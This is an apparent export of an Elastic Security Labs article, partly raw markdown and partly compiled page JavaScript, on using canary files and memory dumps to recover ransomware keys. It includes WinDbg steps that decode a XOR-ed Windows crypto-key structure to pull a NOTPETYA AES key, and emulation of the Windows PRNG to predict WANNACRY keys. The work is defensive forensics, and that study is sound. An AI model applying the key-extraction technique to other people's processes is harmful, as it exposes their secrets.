with a very basic stack-based structure for the context:\n\n```\nc\nstruct _THREAD_CONTEXT { /* sizeof=0x20, align=0x4, mappedto_50) */\n /* 00000000 */ WORD lpswzRootPathName[4];\n /* 00000008 */ HANDLE hProvider;\n /* 0000000C */ PVOID field_C;\n /* 00000010 */ LPVOID pBase64Data;\n /* 00000014 */ HCRYPTPROV hKey;\n /* 00000018 */ DWORD field_18;\n /* 0000001C */ HANDLE hFile;\n};\n```\n\nEquipped with that knowledge, we could explore further in the dump. Since we know write accesses were made using ```kernel32!CreateFileMapping```, this means ```ntdll!NtCreateSection``` is called, and we can isolate the active thread that triggered the syscall to the canary file:\n\n```\ndx @$curprocess.Threads.Where( t =\u003e t.Stack.Frames.First().ToDisplayString().Contains(\"NtCreateSection\") )\n```\n\n\n\n\nAs explained previously, we’ve isolated the context session and know it’s located in the stack. From the base pointer to the session context, we can retrieve the cryptographic context from the context structure member ```_THREAD_CONTEXT.hKey``` located at offset 0x14.\n\n```\n0:007:x86\u003e dx @$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10\n@$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10 : 0x518d210\n0:007:x86\u003e dps poi(0x518d210) l6\n004859a0 003a0043\n004859a4 0000005c\n004859a8 00538418\n004859ac 00000000\n004859b0 04060550 \n004859b4 0048fc48 \u003c\u003c\u003c hKey\n0:007:x86\u003e dps 0048fc48 \n0048fc48 74a850c0 rsaenh!CPGenKey\n0048fc4c 74a9ad90 rsaenh!CPDeriveKey\n0048fc50 74a886c0 rsaenh!CPDestroyKey\n0048fc54 74a9c770 rsaenh!CPSetKeyParam\n0048fc58 74a898c0 rsaenh!CPGetKeyParam\n0048fc5c 74a84c40 rsaenh!CPExportKey\n0048fc60 74a86290 rsaenh!CPImportKey\n0048fc64 74a99880 rsaenh!CPEncrypt\n0048fc68 74a8a500 rsaenh!CPDecrypt\n0048fc6c 74a9b5c0 rsaenh!CPDuplicateKey\n0048fc70 00538418 \n0048fc74 e3155764 \u003c\u003c\u003c hCryptKey\n0048fc78 22222222\n[...]\n```\n\nThe crypto context structures are not made publicly accessible by Microsoft but have been [reverse-engineered](https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data\u0026s=b0a1fb3f896437fc13727105e44628d6\u0026p=2234957#post2234957)\n\n```\nstruct HCRYPTKEY\n{\n void* CPGenKey;\n void* CPDeriveKey;\n void* CPDestroyKey;\n void* CPSetKeyParam;\n void* CPGetKeyParam;\n void* CPExportKey;\n void* CPImportKey;\n void* CPEncrypt;\n void* CPDecrypt;\n void* CPDuplicateKey;\n HCRYPTPROV hCryptProv;\n magic_s *magic; // XOR-ed\n};\nstruct magic_s\n{\n key_data_s *key_data;\n};\n\nstruct key_data_s\n{\n void *unknown; // XOR-ed pointer\n uint32_t alg;\n uint32_t flags;\n uint32_t key_size;\n void* key_bytes;\n};\n```\n\nFrom this context, we can extract and decode the location of the AES structure, as the key is known to be [```0xE35A172C```](https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data\u0026s=b0a1fb3f896437fc13727105e44628d6\u0026p=2234957#post2234957) for 32-bit processes:\n\n```\n0:007:x86\u003e ? e3155764^ 0xE35A172C\nEvaluate expression: 5193800 = 004f4048\n\n0:007:x86\u003e dps poi(004f4048 ) l5\n0053cdd0 e3152844 // /* +0 */ unknown\n0053cdd4 0000660e // /* +4 */ alg\n0053cdd8 00000001 // /* +8 */ flags\n0053cddc 00000010 // /* +c */ key_size\n0053cde0 0053ce70 // /* +10 */ key_bytes\n```\n\nFrom the dump, we also know the type (AES-CBC), location in memory (`0x053ce70`), and size (`0x10`) of the key. The session key can be successfully retrieved! \n\n\n\n\nNot only does this allow complete decryption of all encrypted files for this process, but the astute observer would have noticed that all [those steps can be automated](https://gist.github.com/calladoum-elastic/8a142ad8b20de048a0edb2ec6fde2660), allowing us to create decryptors using just the generated memory dump!\n\n\n\n\nTo see this process fully, you can watch the [demo](https://youtu.be/UCZFAV9EveQ) and check out the [code](https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-notpetya_extract_key_from_dump-py) on GitHub. \n\nWe can even create scripts for decryption that would apply to all machines infected with the same variant. Even though WinDbg is the tool of choice, all those steps can be completely automated, making this approach very scalable.\n\n### Predicting encryption keys from the process runtime: the case of WANNACRY\n\nWANNACRY is another ransomware family we felt qualified for this experiment, as it is well-known and – most importantly for this research – used a more complex logic for file encryption:\n\n\n\n\n#### Deep dive into Windows (Pseudo-)random Number generation\n\nTo encrypt files, WANNACRY uses Windows' encryption library and generates one random AES key per file by means of the high-level API function [```advapi32!CryptGenRandom```](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom). Each key is associated with the corresponding file, then RSA-encrypted and submitted to its C2. By design, the approach we used against NOTPETYA will not work here. WANNACRY offered us a different challenge, once again demonstrating that having a complete memory dump provides other invaluable resources.\n\nRandom number generation is often less random than most people think. Generating a truly random number is both challenging and expensive, and this challenge is at the heart of any cryptographic algorithm. \n\nWindows (not unlike other OS) generates [random numbers in a pseudo-random way](https://en.wikipedia.org/wiki/Pseudorandom_number_generator). This means the random number generator derives an initial state (called a seed) with a cryptographic function (for instance, XorShift or Mersenne-Twister). One of the logical consequences of using PRNG is that knowing the state of the random generator at a moment T allows us to know precisely all random values at T+1, T+2, etc. Note that this is not a weakness as randomness is a highly complex and performance-costly operation; this approach is a great trade-off. \n\nWe will be taking advantage of this property to defeat WANNACRY. Knowing that WANNACRY repeatedly will call CryptGenRandom to generate the AES encryption for each file, if we have a way to know those values strictly through emulation of the minidump file, then we will also know the possible AES keys. This looks promising but may conceal several roadblocks. \n\nTaking a step back, what is CryptGenRandom in the first place – what does it do? The [MSDN](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom) informs us that this (deprecated) function fills up a buffer with random content using a [Cryptographic Service Provider](https://learn.microsoft.com/en-us/windows/desktop/SecGloss/c-gly)(HCRYPTPROV). Setting a breakpoint to CryptGenRandom allows us to look under the hood with WinDbg on a Windows 11 x64. We can then easily traverse the high-level APIs and observe that ```advapi32!CryptGenRandom``` is a wrapper to ```cryptsp!CryptGenRandom```, which in turn leads us to the ```CPGenRandom``` function in ```rsaenh.dll```.\n\n```\n0:000\u003e g\nBreakpoint 9 hit\nCRYPTSP!CryptGenRandom+0x29:\n00007ffc`990c1699 488b8be0000000 mov rcx,qword ptr [rbx+0E0h] ds:000001e1`38ade010=e35a16cde1cff7d0\n0:000\u003e dps @rbx\n000001e1`38addf30 00007ffc`987956d0 rsaenh!CPAcquireContext\n000001e1`38addf38 00007ffc`987951e0 rsaenh!CPReleaseContext\n000001e1`38addf40 00007ffc`98791140 rsaenh!CPGenKey\n000001e1`38addf48 00007ffc`987a8f80 rsaenh!CPDeriveKey\n000001e1`38addf50 00007ffc`987948a0 rsaenh!CPDestroyKey\n000001e1`38addf58 00007ffc`987aaac0 rsaenh!CPSetKeyParam\n[...]\n\n0:000\u003e t\nCRYPTSP!CryptGenRandom+0x3c:\n00007ffc`990c16ac ff1506c50000 call qword ptr [CRYPTSP!_guard_dispatch_icall_fptr (00007ffc`990cdbb8)] ds:00007ffc`990cdbb8={CRYPTSP!guard_dispatch_icall_nop (00007ffc`990c4d30)}\n\n0:000\u003e r rax, rcx,rdx ,r8\nrax=00007ffc987954d0 rcx=e35a16cde1cff7d0 rdx=0000000000000010 r8=00000065859bfe70\n\n0:000\u003e .printf \"%y\\n\", @rax\nrsaenh!CPGenRandom (00007ffc`987954d0)\n```\n\nWhen ```CRYPTSP!CryptGenRandom``` is invoked, the RCX register holds the pointer to the encoded crypto provider, which is XOR encoded with the magic constant ```0xE35A172CD96214A0``` (Remember the ```0xE35A172C``` magic constant we used earlier? This is its 64-bit version counterpart). Looking at ```rsaenh!CPGenRandom``` in IDA made clear the cryptographic provider handle serves only as a check to determine the correct validity of the context passed to the function but has no real implication about the randomness generation.\n\n\n\n\nThe entire randomness generation logic is deported to the function ```cryptbase!SystemFunction036```, which simply takes two arguments: the buffer to receive the random data and its length. This was great news because random number generation had no external factor an attacker could use at runtime to make the generation more complex. Going farther into the rabbit hole, we realized that ```cryptbase!SystemFunction036``` itself is nothing more than a light wrapper for ```bcryptprimitives!ProcessPrng```, which – by the name of the function – seems to match our expectations.\n\nThe ```bcryptprimitives``` DLL is part of the [Cryptographic Next Generation API](https://learn.microsoft.com/en-us/windows/win32/seccng/cng-portal) (CNG) and is quite complex. Fully reversing would be out-of-scope for this research, so we only focused on the parts we're interested in. First, we observed that once loaded in the process, the library initializes the process seed - either from the [```rdrand```](https://www.felixcloutier.com/x86/rdrand) instruction or from a VTL1 call to the [```IumKernelState```](https://learn.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes) trustlet in the explicitly named ```InitUmRootRngState``` function. Then, it populates a random number generator state table and updates the RNG seed version state in the ```ntdll!_KUSER_SHARED_DATA::RNGSeedVersion```.\n\n\n\n\nWhen ```ProcessPrng``` is invoked, the generation of the next pseudo-random number is determined by a CPU-specific state. To be precise, the processor number on which the current thread is running is used as an index to load and generate the next number. We’ll explain more later, but this will be challenging in the future. Using this state information, the next number is produced by invoking ```AesRNGState_generate```, storing the result inside the buffer given in an argument.\n\n\n\n\nThis is a non-negligible issue for what we’re trying to accomplish. On multiprocessor-aware Windows (which all modern PCs are), it is hard to consistently know the processor number the thread is running on, making generation prediction impossible. However, Windows provides ways to affect the scheduler, as shown below.\n\n\n\n\n#### Pseudo-Random number prediction through user-mode emulation of the memory dump\n\nKeeping in sight that to defeat WANNACRY, we need to be able to execute the function ```cryptbase!SystemFunction036``` directly from the memory dump. We can make this with an emulator (like QEMU or Bochs) by mapping the execution context (populating the memory layout, restoring the TEB/PEB etc.) gathered from the memory dump of the ransomware, which we did following these steps:\n 1. Parse the user-mode dump to [extract and map all the memory layout](https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L272-L287); for this step, we used the Python bindings of the [udmp-parser](https://github.com/0vercl0k/udmp-parser) library\n 2. Fully [reconstruct a working memory layout in an emulator](https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L291-L322), for which [bochscpu](https://github.com/yrp604/bochscpu) along with its [Python bindings](https://github.com/hugsy/bochscpu-python) were used\n 3. [Rebuild a valid thread context](https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L354-L370) by finding the function ```cryptbase!SystemFunction036``` and emulating the runtime\n\nHowever, we still lack the ability to predict on which CPU the thread invoking ```cryptbase!SystemFunction036``` will be running on, therefore, cannot accurately predict the following values returned by the function. On a single-core machine, this is not a problem as our PRNG state table will only hold one entry, and this approach was tested to work perfectly out-of-the-box. However, it fails on multi-core systems, as only the first call to ```cryptbase!SystemFunction036``` would return the correct random values.\n\n\n\n\nTo have accurate emulation on multi-core machines, we need to know the processor number on which the next thread calling ```cryptbase!SystemFunction036``` will be called at runtime is fairly impossible. Two possible approaches were tested:\n 1. From the dump, we have knowledge of the entire PRNG state table. Because of this, we can make the emulation script hook the function ```ntdll!RtlGetCurrentProcessorNumberEx``` and use it to determine the index in the random table, then have it generate all the values for a specific core. This approach proved successful but extremely tedious, especially at scale as automation would generate exponential possibilities to retrieve the correctly generated sequence.\n 2. Another option happens during the canary detection itself. Once the canary confirms it is ransomware, we can enforce the culprit process CPU affinity to only one CPU, whose index we can choose freely. This can be done from kernel or user mode as long as the targeted process is opened with the [```PROCESS_SET_INFORMATION```](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setprocessaffinitymask) access right. This processor index will determine the entry taken in the `AesStateTable` array, and doing so allows us to reliably predict all future values of the PNRG via emulation.\n\n\n\n\nTo see the WANNACRY process in full, you can watch the [demo](https://youtu.be/uXqI0ZSqZhI). We also have the [code](https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27) available for review on GitHub.\n\nTesting both techniques showed that it is possible to predict the future value of the PRNG with the minidump at our disposal. This would be immensely helpful against ransomware like WANNACRY, which uses Windows PRNG to generate unique AES keys for each encrypted file.\n\n## Incorporating this research into the Elastic Endpoint\n\nON Week at Elastic is a place for experimenting without constraints and often leads to great improvements for the existing Elastic solutions. \n\nProcess snapshot generation was added to Elastic Security in version [8.11](https://www.elastic.co/blog/whats-new-elastic-security-8-11-0). With protection enabled, should ransomware be detected, the endpoint will generate a complete memory process dump before resuming execution, likely leading to the ransomware process termination. We hope this simple addition can assist DFIR teams further by providing better insight into what the ransomware was attempting. \n\nRecent news has shown that process memory dumps can leak a [great amount of valuable private information](https://www.msn.com/en-us/news/technology/microsoft-china-stole-secret-key-that-unlocked-us-govt-email-from-crash-debug-dump/ar-AA1glLPJ) if made available publicly. Therefore, it must be stressed that no memory dump is ever submitted to Elastic, even with the feature enabled. The dump file is generated (and compressed) by the endpoint locally, and the resulting file is stored within Elastic’s secure installation folder (by default, ```$ElasticInstallPath\\Endpoint\\cache\\RansomwareDumps```). This way, the dump files cannot be easily tampered with by attackers but are easily accessible to forensics and incident response teams to assist them in the recovery process.\n\nLet’s demonstrate this feature in action on a fresh Elastic 8.11 against NOTPETYA: [watch the demo](https://youtu.be/d16yKWUf3dI)\n\n## Closing remarks\n\nThis concluded our ON Week research with quite a positive outcome. Did we come up with a bulletproof solution against all ransomware? No, and such a thing likely won’t ever exist. As we’ve underlined in the introduction, ransomware exists in so many types and varieties that it probably seems impossible to have one solution for all.\n\nWhat this research found, however, was that this approach offers a great trade-off between FP risk, system requirements, and potential outcome. There is very little risk of snapshotting the process memory should it be flagged as ransomware by the canary feature. In the case of a false positive, the computer would simply end up with a dump file in a protected location (and ZIP compression would drastically reduce the footprint on disk).\n\nWhile this is not the perfect ransomware solution, offering a memory dump of the ransomware can boost forensic work and potentially allow teams to recover or even predict session encryption keys. Complete memory dumps can be an amazing ally in debugging and forensics because they provide an exhaustive view of how things happen at runtime. And thanks to emulation, we can confidently retrace some of the steps that lead to a compromise and hopefully fix it.\n","code":"var Component=(()=\u003e{var d=Object.create;var o=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var w=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),g=(n,e)=\u003e{for(var i in e)o(n,i,{get:e[i],enumerable:!0})},s=(n,e,i,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of m(e))!f.call(n,r)\u0026\u0026r!==i\u0026\u0026o(n,r,{get:()=\u003ee[r],enumerable:!(a=p(e,r))||a.enumerable});return n};var y=(n,e,i)=\u003e(i=n!=null?d(u(n)):{},s(e||!n||!n.__esModule?o(i,\"default\",{value:n,enumerable:!0}):i,n)),b=n=\u003es(o({},\"__esModule\",{value:!0}),n);var l=w((T,c)=\u003e{c.exports=_jsx_runtime});var C={};g(C,{default:()=\u003ex,frontmatter:()=\u003ev});var t=y(l()),v={title:\"Ransomware in the honeypot: how we capture keys with sticky canary files\",slug:\"ransomware-in-the-honeypot-how-we-capture-keys\",date:\"2024-02-23\",description:\"This article describes the process of capturing encryption keys from ransomware using Elastic Defend ransomware protection.\",author:[{slug:\"salim-bitam\"},{slug:\"christophe-alladoum\"}],image:\"photo-edited-07.png\",category:[{slug:\"security-research\"}],tags:[\"ransomware\",\"canary\",\"honeypot\"]};function h(n){let e=Object.assign({h2:\"h2\",p:\"p\",img:\"img\",a:\"a\",code:\"code\",h3:\"h3\",ul:\"ul\",li:\"li\",ol:\"ol\",strong:\"strong\",em:\"em\",h4:\"h4\",pre:\"pre\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"tldr\",children:\"TL;DR\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image12.png\",alt:\"Source: https://twitter.com/DebugPrivilege/status/1716890625864564796\",width:\"581\",height:\"193\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"At Elastic, we have bi-annual ON Weeks, where engineers break into \\u201Chack-a-thon\\u201D teams to tackle a technical challenge voted on by the team. This article presents the outcome of \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/deep-dive-into-the-ttd-ecosystem\",rel:\"nofollow\",children:\"yet another\"}),\" Elastic ON Week, where we delved into an innovative application of Elastic Endpoint ransomware protection. Our research used our existing ransomware canary protection, deployed since 7.14, to generate memory snapshots (i.e., data collections that record process information) of the process(es) identified as ransomware. Through analysis of these snapshots, our research illustrated how we could recover critical information for the forensics process and even encryption keys, allowing for complete decryption.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This process memory snapshotting mechanism was added starting with Elastic Defend 8.11, allowing DFIR teams to find memory dumps of ransomware flagged by our ransomware protection, all within Elastic Endpoint\\u2019s secure installation folder (by default, \",(0,t.jsx)(e.code,{children:\"$ElasticInstallPath\\\\Endpoint\\\\cache\\\\RansomwareDumps\"}),\").\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsx)(e.p,{children:\"In 2024, we don't need to explain what ransomware is or the multibillion-dollar industry it's become or explain how even companies with unlimited budgets struggle to contain or prevent it. These adversaries are mature and efficient, often outpacing security functions like forensic and malware analysis.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"current-state-of-protection\",children:\"Current state of protection\"}),`\n`,(0,t.jsx)(e.p,{children:\"Thankfully, over the years, AVs/EDRs have become increasingly better at detecting and preventing ransomware. Among the most common existing mitigations, we find:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Static and dynamic detection by signatures: this is usually performed at various levels (through hashes at a file or ELF/PE section level) and file activity (write access to files with high entropy changes) has the advantage of being easily and rapidly implemented, but are also likely to generate false positives\"}),`\n`,(0,t.jsx)(e.li,{children:\"Reverse engineering: Reversing binaries can expose new ways to interfere with execution, as malware authors implement OS-level fail-safes (for instance, through Mutant objects) and/or network fail-safes (like WANNACRY)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Recovery backups: These are not always thoroughly tested, and even if they\\u2019re working there is a risk of data loss between the last backup and the moment of infection\"}),`\n`,(0,t.jsx)(e.li,{children:\"Shadow copies: Somewhat similar to recovery backups, ransomware usually actively locates and attempts to destroy them prior to encrypting files on a system\"}),`\n`,(0,t.jsx)(e.li,{children:\"High entropy and rapid file change: This approach is purely experimental and attempts to detect drastic changes in the file content as an indicator of encryption, however, this is also very false positive (FP) prone\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Last cryptography weakness: By far the most complex mitigation, as it requires reverse engineering and cryptographic knowledge, but also luck as adversaries hope that the author rolls their own crypto API (see Elastic's Mark Mager \",(0,t.jsx)(e.a,{href:\"https://youtu.be/0TF9NLsGCHA\",rel:\"nofollow\",children:\"2019 DEFCON talk\"}),\" for some examples); this approach can\\u2019t work against modern OS native cryptographic APIs as long as they\\u2019re properly implemented according to documentation\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"how-ransomware-usually-works-and-why-it-matters\",children:\"How ransomware (usually) works, and why it matters\"}),`\n`,(0,t.jsx)(e.p,{children:\"It is imperative that we know both what we're protecting against and how it internally operates to be effective. This diverse nature underlines that there may never be a universal solution to combat all ransomware strains. Understanding this diversity also emphasizes the importance of our technique, which provides significant insights about ransomware.\"}),`\n`,(0,t.jsx)(e.p,{children:\"From a high level, the sequence of actions that ransomware executes is usually summarized as such:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Delivery\"}),\": this can be done in several ways, from social engineering to 0-day/1-day vulnerability exploitation. This approach can also rely on weak passwords to remotely infect targets.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"C2 Communication\"}),\": once the execution starts, the ransomware may communicate with the C2 to exchange configuration and share information about the victim. This step can also leave room for the C2 to have a kill switch in place, preventing further infection\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Encryption\"}),\": after establishing a cryptographic context, the process recursively browses the file system, looks for files with specific extensions, and encrypts them.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Extortion\"}),\": after sharing the decryption keys with the C2, the ransomware will drop a ransom note and (usually very visibly) notify the infected user of its actions and ways to obtain the decryption key. At that point, all cryptographic context allowing recovery may already be lost\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Propagation\"}),\": if possible, the ransomware may try to infect more systems automatically.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"However, looking at it at a lower level reveals that ransomware operates quite uniquely: for example, focusing on the delivery step, the notorious \",(0,t.jsx)(e.a,{href:\"https://www.cisa.gov/sites/default/files/FactSheets/NCCIC%20ICS_FactSheet_WannaCry_Ransomware_S508C.pdf\",rel:\"nofollow\",children:\"WANNACRY ransomware\"}),\" spread via a vulnerability in the Windows operating system, known as \",(0,t.jsx)(e.a,{href:\"https://arstechnica.com/information-technology/2017/04/nsa-leaking-shadow-brokers-just-dumped-its-most-damaging-release-yet/\",rel:\"nofollow\",children:\"EternalBlue\"}),\"; whereas \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit\",rel:\"nofollow\",children:\"LOCKBIT\"}),\" variants tend to infect using phishing emails, exploit kits, or by leveraging compromised Remote Desktop Protocol (RDP) credentials.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"During this research, it was mostly the 3rd step that interested us as it is usually where detection and prevention can be most effective, such as with our canary protection.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"understanding-the-canary-files-feature-in-elastic-endpoint\",children:\"Understanding the Canary files feature in Elastic Endpoint\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Originating in Elastic 7.14, Elastic Endpoint ransomware protection uses \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/deterring-ransomware-for-state-and-local-government\",rel:\"nofollow\",children:\"canary files\"}),\" with the purpose of attempting to honeypot ransomware by (over-)writing some specific files. This provides a high confidence indicator that the culprit process is attempting to encrypt all files.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"A canary file acts and looks exactly like any other file - it can have valid content (DOCX, PDF, etc.), hidden, or marked as a system file to avoid user tampering. However, canary files cannot be \\u201Cfingerprinted\\u201D and avoided by ransomware. All of these factors lead to a robust indicator for ransomware access.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Even though canary files are very successful in providing indicators for ransomware, it is hard to be certain on Windows systems that no file has been encrypted \",(0,t.jsx)(e.em,{children:\"before\"}),\" the detection (and, if wanted, termination) occurs. This is not a product defect, it is due to the very structure of how MiniFilters work on Windows. Therefore, even though the attack is thwarted, some files may have been encrypted. Worse, if the process is terminated, the possibility of retrieving the original content may be completely lost.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"And this is where our ON Week research began\\u2026\"}),`\n`,(0,t.jsx)(e.h2,{id:\"extending-our-canary-protection-to-generate-process-snapshots\",children:\"Extending our canary protection to generate process snapshots\"}),`\n`,(0,t.jsx)(e.h3,{id:\"the-basic-underlying-concept\",children:\"The basic underlying concept\"}),`\n`,(0,t.jsx)(e.p,{children:\"The idea behind this first research was as follows:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"At the kernel level, detect write access attempts to a file with a specific name (our canary)\"}),`\n`,(0,t.jsx)(e.li,{children:\"From userland, generate a process dump of the culprit process attempting the write operation and signal the driver to continue execution as designed\"}),`\n`,(0,t.jsx)(e.li,{children:\"Analyze process dumps\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"With ON Week being limited to one week, this is the initial time frame we had for developing a prototype.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"implementation\",children:\"Implementation\"}),`\n`,(0,t.jsx)(e.h4,{id:\"in-kernel-land\",children:\"In kernel land\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Developing a MiniFilter driver to monitor write access to files with specific names went relatively easily following the well-documented \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/_ifsk/\",rel:\"nofollow\",children:\"MiniFilter API documentation\"}),\":\"]}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Declare the filter table containing the callbacks we want to install, one for write access when invoking \",(0,t.jsx)(e.code,{children:\"NtWriteFile()\"}),\", and another for when attempting to write to a mapped section\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image19.png\",alt:\"Registering MiniFilter callbacks for file and section writes\",width:\"1258\",height:\"431\"})}),`\n`,(0,t.jsxs)(e.ol,{start:\"2\",children:[`\n`,(0,t.jsxs)(e.li,{children:[`Create and register the filter, including the file name pattern to monitor and start filtering:\n`,(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image5.png\",alt:\"Declaring a filename pattern to inspect for the MiniFilter driver\",width:\"1220\",height:\"628\"})]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.em,{children:\"Image 2: Declaring a filename pattern to inspect for the MiniFilter driver\"}),`\nOnce our filter is registered to the Filter Manager, write accesses will go through our driver\\u2019s callbacks when specific syscalls are triggered: by `,(0,t.jsx)(e.code,{children:\"NtWriteFile\"}),\" when a process attempts to write a buffer to a file, or by \",(0,t.jsx)(e.code,{children:\"NtCreateSection()\"}),\" when a process to create a section with file-backed mappings with write access (\",(0,t.jsx)(e.code,{children:\"SECTION_MAP_WRITE\"}),\")\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image16.png\",alt:\"Suspending process upon write access detection to the canary file\",width:\"990\",height:\"941\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"As we can see either action will result in the invoking process being suspended (call to our function \",(0,t.jsx)(e.code,{children:\"SuspendProcessById\"}),\") allowing a userland process to snapshot its memory. The following video summarizes all those steps:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image2.png\",alt:\"Source: https://youtu.be/U0vCHzN-69w\",width:\"1440\",height:\"1022\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"in-user-land\",children:\"In user land\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Generating memory dumps is a robust mechanism well anchored into Windows and a significant part of its Error Reporting mechanism - or \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/wer/windows-error-reporting\",rel:\"nofollow\",children:\"WER\"}),\". Through simple and explicit API calls, like \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"MiniDumpWriteDump\"})}),\" any user or program may dump (if permission permits) the complete memory layout and content of a target process, along with more information depending on flags passed during invocation such as:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"handle information\"}),`\n`,(0,t.jsx)(e.li,{children:\"thread information\"}),`\n`,(0,t.jsx)(e.li,{children:\"unloaded module details and more\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"A complete reference list of available types can be consulted \",(0,t.jsx)(e.a,{href:\"https://github.com/Skulltrail192/One-Core-Api/blob/76729f2108c2afca24d89efc92b814a07b92a62e/dll/win32/dbghelp/compat.h#L914-L931\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"We decided to use memory dumps, designed for debugging software, to extend our ransomware protection feature's existing canary file capabilities. When ransomware is detected, we generate a complete memory dump before the process is terminated. Using memory dumps against malware has tremendous advantages, including:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Revealing the process memory layout, which is particularly useful when packing has obscured the memory regions\"}),`\n`,(0,t.jsx)(e.li,{children:\"Disclosing all memory contents of the process as it is running, including unwiped memory regions since Windows does not immediately erase memory for performance reasons\"}),`\n`,(0,t.jsx)(e.li,{children:\"Providing stable and safe ways to experiment against malware through emulation\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image11.png\",alt:\"Creating the memory dump from the user-mode process\",width:\"1278\",height:\"781\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Very quickly, we had a stable and reliable way to detect canary write access and generate complete memory dumps of the ransomware triggering them. Due to time constraints, we selected two popular families to test the analysis phase of our project: NOTPETYA and WANNACRY.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The prototype code can be found \",(0,t.jsx)(e.a,{href:\"https://github.com/calladoum-elastic/canary-driver\",rel:\"nofollow\",children:\"here\"}),\" and is not intended for production use. Please experiment at your own risk, using non-production systems.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"real-life-examples\",children:\"Real-life examples\"}),`\n`,(0,t.jsx)(e.h4,{id:\"recovering-keys-from-process-runtime-the-case-of-notpetya\",children:\"Recovering keys from process runtime: the case of 